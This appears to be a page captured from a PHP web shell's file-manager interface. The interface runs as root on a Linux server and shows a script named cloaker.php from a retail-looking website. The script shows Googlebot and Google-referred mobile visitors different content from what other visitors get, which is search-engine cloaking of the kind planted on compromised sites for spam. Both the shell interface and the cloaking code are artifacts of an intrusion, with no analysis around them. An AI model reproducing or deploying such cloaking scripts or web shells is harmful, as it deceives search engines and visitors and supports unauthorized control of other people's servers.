HEX
Server: nginx/1.18.0
System: Linux m1-ws1-ams3 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /opt/aphex/sites/thesweetsensations.com/cloaker.php
<?php

require '/opt/aphex/cloaker/vendor/autoload.php';
#require '/opt/aphex/cloaker/google.php';

use Detection\MobileDetect;
$detect = new MobileDetect();
#session_start();
$bot = preg_match('/Googlebot/i', $_SERVER['HTTP_USER_AGENT'], $matches);


if ($bot || false !== strpos($_SERVER['HTTP_REFERER'],  'google.com')) {
    if ($bot || $detect->isMobile()) {
	#    $_SESSION['shown'] = true;
	    include './index.php';
	    die();
    } else {
    }
} else {
}
include './index.html';
#var_dump($detect->isMobile());
#print_r($_SERVER);